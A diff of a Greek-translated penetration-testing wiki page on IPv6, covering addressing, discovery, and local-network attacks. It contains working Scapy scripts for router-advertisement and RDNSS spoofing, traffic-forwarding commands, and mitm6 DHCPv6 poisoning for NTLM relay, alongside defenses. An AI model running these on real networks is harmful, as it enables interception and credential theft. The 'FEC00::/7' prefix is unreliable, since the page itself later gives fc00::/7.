mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
96d24bacce
commit
7968c5a4a2
@ -1,14 +1,16 @@
|
||||
# Pentesting IPv6
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Βασική θεωρία IPv6
|
||||
## IPv6 Βασική θεωρία
|
||||
|
||||
## Δίκτυα
|
||||
### Δίκτυα
|
||||
|
||||
Οι διευθύνσεις IPv6 είναι δομημένες για να ενισχύσουν την οργάνωση του δικτύου και την αλληλεπίδραση των συσκευών. Μια διεύθυνση IPv6 χωρίζεται σε:
|
||||
|
||||
1. **Πρόθεμα Δικτύου**: Τα αρχικά 48 bits, που καθορίζουν το τμήμα του δικτύου.
|
||||
2. **ID Υποδικτύου**: Τα επόμενα 16 bits, που χρησιμοποιούνται για τον καθορισμό συγκεκριμένων υποδικτύων εντός του δικτύου.
|
||||
3. **Ταυτοποίηση Διεπαφής**: Τα τελικά 64 bits, που προσδιορίζουν μοναδικά μια συσκευή εντός του υποδικτύου.
|
||||
3. **Αναγνωριστικό Διεπαφής**: Τα τελικά 64 bits, που προσδιορίζουν μοναδικά μια συσκευή εντός του υποδικτύου.
|
||||
|
||||
Ενώ το IPv6 παραλείπει το πρωτόκολλο ARP που βρίσκεται στο IPv4, εισάγει το **ICMPv6** με δύο κύρια μηνύματα:
|
||||
|
||||
@ -17,7 +19,7 @@
|
||||
|
||||
Το IPv6 περιλαμβάνει επίσης ειδικούς τύπους διευθύνσεων:
|
||||
|
||||
- **Διεύθυνση Loopback (`::1`)**: Ισοδύναμη με το `127.0.0.1` του IPv4, για εσωτερική επικοινωνία εντός του υπολογιστή.
|
||||
- **Διεύθυνση Loopback (`::1`)**: Ισοδύναμη με το `127.0.0.1` του IPv4, για εσωτερική επικοινωνία εντός του host.
|
||||
- **Διευθύνσεις Link-Local (`FE80::/10`)**: Για τοπικές δραστηριότητες δικτύου, όχι για δρομολόγηση στο διαδίκτυο. Οι συσκευές στο ίδιο τοπικό δίκτυο μπορούν να ανακαλύψουν η μία την άλλη χρησιμοποιώντας αυτό το εύρος.
|
||||
|
||||
### Πρακτική Χρήση του IPv6 σε Εντολές Δικτύου
|
||||
@ -36,76 +38,242 @@ ip neigh | grep ^fe80
|
||||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλοποιημένος οδηγός για το πώς να προκύψει η διεύθυνση Link-local IPv6 από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου.
|
||||
IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλοποιημένος οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου.
|
||||
|
||||
## **Προκύπτοντας Link-local IPv6 από Διεύθυνση MAC**
|
||||
### **Προκύπτοντας Link-local IPv6 από Διεύθυνση MAC**
|
||||
|
||||
Δεδομένης μιας διεύθυνσης MAC **`12:34:56:78:9a:bc`**, μπορείτε να κατασκευάσετε τη διεύθυνση Link-local IPv6 ως εξής:
|
||||
Δεδομένης μιας διεύθυνσης MAC **`12:34:56:78:9a:bc`**, μπορείτε να κατασκευάσετε τη Link-local IPv6 διεύθυνση ως εξής:
|
||||
|
||||
1. Μετατρέψτε τη MAC σε μορφή IPv6: **`1234:5678:9abc`**
|
||||
2. Προσθέστε `fe80::` και εισάγετε `fffe` στη μέση: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Αντιστροφή του έβδομου bit από τα αριστερά, αλλάζοντας το `1234` σε `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
3. Αντιστρέψτε το έβδομο bit από τα αριστερά, αλλάζοντας το `1234` σε `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **Τύποι Διευθύνσεων IPv6**
|
||||
### **Τύποι Διευθύνσεων IPv6**
|
||||
|
||||
- **Unique Local Address (ULA)**: Για τοπικές επικοινωνίες, δεν προορίζεται για δημόσια δρομολόγηση στο διαδίκτυο. Πρόθεμα: **`FEC00::/7`**
|
||||
- **Multicast Address**: Για επικοινωνία ένα προς πολλούς. Παράγεται σε όλες τις διεπαφές της ομάδας multicast. Πρόθεμα: **`FF00::/8`**
|
||||
- **Anycast Address**: Για επικοινωνία ένα προς τον πλησιέστερο. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας περιοχής unicast **`2000::/3`**.
|
||||
- **Anycast Address**: Για επικοινωνία ένα προς τον πλησιέστερο. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας μοναδικής διεύθυνσης **`2000::/3`**.
|
||||
|
||||
## **Πρόθεμα Διευθύνσεων**
|
||||
### **Πρόθεμα Διευθύνσεων**
|
||||
|
||||
- **fe80::/10**: Διευθύνσεις Link-Local (παρόμοιες με 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές περιοχές IPv4 όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Παγκόσμιο Unicast
|
||||
- **fe80::/10**: Link-Local διευθύνσεις (παρόμοιες με 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές IPv4 περιοχές όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Παγκόσμια Unicast
|
||||
- **ff02::1**: Multicast Όλων των Κόμβων
|
||||
- **ff02::2**: Multicast Κόμβοι Δρομολογητή
|
||||
- **ff02::2**: Multicast Κόμβοι Δρομολογητών
|
||||
|
||||
## **Ανακαλύπτοντας Διευθύνσεις IPv6 εντός ενός Δικτύου**
|
||||
### **Ανακαλύπτοντας Διευθύνσεις IPv6 εντός ενός Δικτύου**
|
||||
|
||||
### Τρόπος 1: Χρησιμοποιώντας Διευθύνσεις Link-local
|
||||
#### Τρόπος 1: Χρησιμοποιώντας Link-local Διευθύνσεις
|
||||
|
||||
1. Αποκτήστε τη διεύθυνση MAC μιας συσκευής εντός του δικτύου.
|
||||
2. Προκύψτε τη διεύθυνση Link-local IPv6 από τη διεύθυνση MAC.
|
||||
2. Προκύψτε τη Link-local IPv6 διεύθυνση από τη διεύθυνση MAC.
|
||||
|
||||
### Τρόπος 2: Χρησιμοποιώντας Multicast
|
||||
#### Τρόπος 2: Χρησιμοποιώντας Multicast
|
||||
|
||||
1. Στείλτε ένα ping στη διεύθυνση multicast `ff02::1` για να ανακαλύψετε διευθύνσεις IPv6 στο τοπικό δίκτυο.
|
||||
1. Στείλτε ένα ping στη multicast διεύθυνση `ff02::1` για να ανακαλύψετε διευθύνσεις IPv6 στο τοπικό δίκτυο.
|
||||
```bash
|
||||
service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
|
||||
Υπάρχουν αρκετές τεχνικές για την εκτέλεση επιθέσεων MitM σε δίκτυα IPv6, όπως:
|
||||
|
||||
- Spoofing ICMPv6 neighbor ή router advertisements.
|
||||
- Χρήση ICMPv6 redirect ή "Packet Too Big" μηνυμάτων για την παραποίηση δρομολόγησης.
|
||||
- Επίθεση σε mobile IPv6 (συνήθως απαιτεί την απενεργοποίηση του IPSec).
|
||||
- Ρύθμιση ενός rogue DHCPv6 server.
|
||||
- Δημιουργία ενός rogue DHCPv6 server.
|
||||
|
||||
# Identifying IPv6 Addresses in the eild
|
||||
## Identifying IPv6 Addresses in the eild
|
||||
|
||||
## Exploring Subdomains
|
||||
### Exploring Subdomains
|
||||
|
||||
Μια μέθοδος για να βρείτε υποτομείς που είναι δυνητικά συνδεδεμένοι με διευθύνσεις IPv6 περιλαμβάνει την εκμετάλλευση μηχανών αναζήτησης. Για παράδειγμα, η χρήση ενός προτύπου ερωτήματος όπως το `ipv6.*` μπορεί να είναι αποτελεσματική. Συγκεκριμένα, η ακόλουθη εντολή αναζήτησης μπορεί να χρησιμοποιηθεί στο Google:
|
||||
Μια μέθοδος για να βρείτε υποτομείς που είναι πιθανώς συνδεδεμένοι με διευθύνσεις IPv6 περιλαμβάνει την εκμετάλλευση μηχανών αναζήτησης. Για παράδειγμα, η χρήση ενός προτύπου ερωτήματος όπως το `ipv6.*` μπορεί να είναι αποτελεσματική. Συγκεκριμένα, η ακόλουθη εντολή αναζήτησης μπορεί να χρησιμοποιηθεί στο Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## Χρησιμοποιώντας Ερωτήματα DNS
|
||||
### Χρησιμοποιώντας Ερωτήματα DNS
|
||||
|
||||
Για να εντοπιστούν διευθύνσεις IPv6, μπορούν να γίνουν ερωτήσεις σε συγκεκριμένους τύπους εγγραφών DNS:
|
||||
Για να εντοπιστούν διευθύνσεις IPv6, μπορούν να γίνουν ερωτήματα σε ορισμένους τύπους εγγραφών DNS:
|
||||
|
||||
- **AXFR**: Ζητά μια πλήρη μεταφορά ζώνης, αποκαλύπτοντας ενδεχομένως ένα ευρύ φάσμα εγγραφών DNS.
|
||||
- **AAAA**: Αναζητά άμεσα διευθύνσεις IPv6.
|
||||
- **ANY**: Μια ευρεία ερώτηση που επιστρέφει όλες τις διαθέσιμες εγγραφές DNS.
|
||||
|
||||
## Δοκιμή με Ping6
|
||||
### Δοκιμή με Ping6
|
||||
|
||||
Αφού εντοπιστούν οι διευθύνσεις IPv6 που σχετίζονται με έναν οργανισμό, το εργαλείο `ping6` μπορεί να χρησιμοποιηθεί για δοκιμή. Αυτό το εργαλείο βοηθά στην αξιολόγηση της απόκρισης των εντοπισμένων διευθύνσεων IPv6 και μπορεί επίσης να βοηθήσει στην ανακάλυψη γειτονικών συσκευών IPv6.
|
||||
Αφού εντοπιστούν οι διευθύνσεις IPv6 που σχετίζονται με έναν οργανισμό, το εργαλείο `ping6` μπορεί να χρησιμοποιηθεί για δοκιμές. Αυτό το εργαλείο βοηθά στην αξιολόγηση της απόκρισης των εντοπισμένων διευθύνσεων IPv6 και μπορεί επίσης να βοηθήσει στην ανακάλυψη γειτονικών συσκευών IPv6.
|
||||
|
||||
## Τεχνικές Επιθέσεων Τοπικού Δικτύου IPv6
|
||||
|
||||
Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται **μέσα στο ίδιο τμήμα /64** χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι **link-local** και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα.
|
||||
|
||||
### Ρύθμιση Συστήματος για Σταθερό Εργαστήριο
|
||||
|
||||
Πριν ασχοληθείτε με την κυκλοφορία IPv6, συνιστάται να σκληρύνετε το σύστημά σας για να αποφύγετε να δηλητηριαστείτε από τις δικές σας δοκιμές και να επιτύχετε την καλύτερη απόδοση κατά τη διάρκεια μαζικής έγχυσης/παρακολούθησης πακέτων.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
|
||||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||
|
||||
# Increase fd / backlog limits when generating lots of traffic
|
||||
sudo sysctl -w fs.file-max=100000
|
||||
sudo sysctl -w net.core.somaxconn=65535
|
||||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Passive NDP & DHCPv6 Sniffing
|
||||
|
||||
Επειδή κάθε IPv6 host **εντάσσεται αυτόματα σε πολλές ομάδες multicast** (`ff02::1`, `ff02::2`, …) και χρησιμοποιεί ICMPv6 για SLAAC/NDP, μπορείτε να χαρτογραφήσετε ολόκληρο το τμήμα χωρίς να στείλετε ούτε ένα πακέτο. Ο παρακάτω Python/Scapy one-liner ακούει τα πιο ενδιαφέροντα μηνύματα L2 και εκτυπώνει ένα χρωματιστό, χρονοσημασμένο αρχείο καταγραφής για το ποιος είναι ποιος:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.layers.dhcp6 import *
|
||||
from datetime import datetime
|
||||
from colorama import Fore, Style, init
|
||||
import argparse
|
||||
|
||||
init(autoreset=True)
|
||||
|
||||
# Human-readable names for protocols we care about
|
||||
DHCP6_TYPES = {
|
||||
DHCP6_Solicit: 'Solicit',
|
||||
DHCP6_Advertise: 'Advertise',
|
||||
DHCP6_Request: 'Request',
|
||||
DHCP6_Reply: 'Reply',
|
||||
DHCP6_Renew: 'Renew',
|
||||
DHCP6_Rebind: 'Rebind',
|
||||
DHCP6_RelayForward:'Relay-Forward',
|
||||
DHCP6_RelayReply: 'Relay-Reply'
|
||||
}
|
||||
ICMP6_TYPES = {
|
||||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||
}
|
||||
|
||||
def handler(pkt):
|
||||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||
|
||||
# Identify protocol family first
|
||||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||
if proto in pkt:
|
||||
break
|
||||
else:
|
||||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||
for dhcp_t,name in DHCP6_TYPES.items():
|
||||
if dhcp_t in pkt:
|
||||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||
else:
|
||||
return # not a DHCPv6 message we track
|
||||
else:
|
||||
return # not interesting
|
||||
|
||||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||
print(f" MAC {eth_src} -> {eth_dst}")
|
||||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||
print('-'*60)
|
||||
|
||||
if __name__ == '__main__':
|
||||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Αποτέλεσμα: μια πλήρης **τοπολογία τοπικής σύνδεσης** (MAC ⇄ IPv6) μέσα σε λίγα δευτερόλεπτα, χωρίς να ενεργοποιηθούν τα συστήματα IPS/IDS που βασίζονται σε ενεργές σάρωσεις.
|
||||
|
||||
### Spoofing Διαφημίσεων Δρομολογητή (RA)
|
||||
|
||||
Οι IPv6 hosts βασίζονται σε **ICMPv6 Διαφημίσεις Δρομολογητή** για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs **συχνότερα** από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||
args = p.parse_args()
|
||||
|
||||
lifetime = 0 if args.revert else args.lifetime
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Για να **προωθήσετε την κίνηση** μετά την νίκη στον αγώνα:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) Spoofing μέσω RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) επιτρέπει την προσθήκη μιας επιλογής **Recursive DNS Server (RDNSS)** μέσα σε ένα RA. Οι σύγχρονοι λειτουργικοί συστήματα (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) το εμπιστεύονται αυτόματα:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=0)/
|
||||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Οι πελάτες θα **προθέσουν** το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια, παρέχοντας πλήρη DNS hijacking μέχρι να λήξει η τιμή ή να στείλετε μια `lifetime=0` αναίρεση.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από **stateless DHCPv6** για το DNS. [mitm6](https://github.com/rofl0r/mitm6) απαντά αυτόματα σε μηνύματα `Solicit` με μια ροή **Advertise → Reply** που αναθέτει **τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα**. Αυτό ξεκλειδώνει:
|
||||
|
||||
* Επιθέσεις NTLM relay (WPAD + DNS hijacking)
|
||||
* Παρεμβολή στην εσωτερική ανάλυση ονομάτων χωρίς να αγγίξετε δρομολογητές
|
||||
|
||||
Τυπική χρήση:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### Άμυνες
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** σε διαχειριζόμενους διακόπτες.
|
||||
* Port ACLs που επιτρέπουν μόνο τη νόμιμη MAC του δρομολογητή να στέλνει RAs.
|
||||
* Παρακολούθηση για **μη αξιόπιστους υψηλούς ρυθμούς RAs** ή ξαφνικές **αλλαγές RDNSS**.
|
||||
* Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία – προτιμήστε το L2 filtering αντί αυτού.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user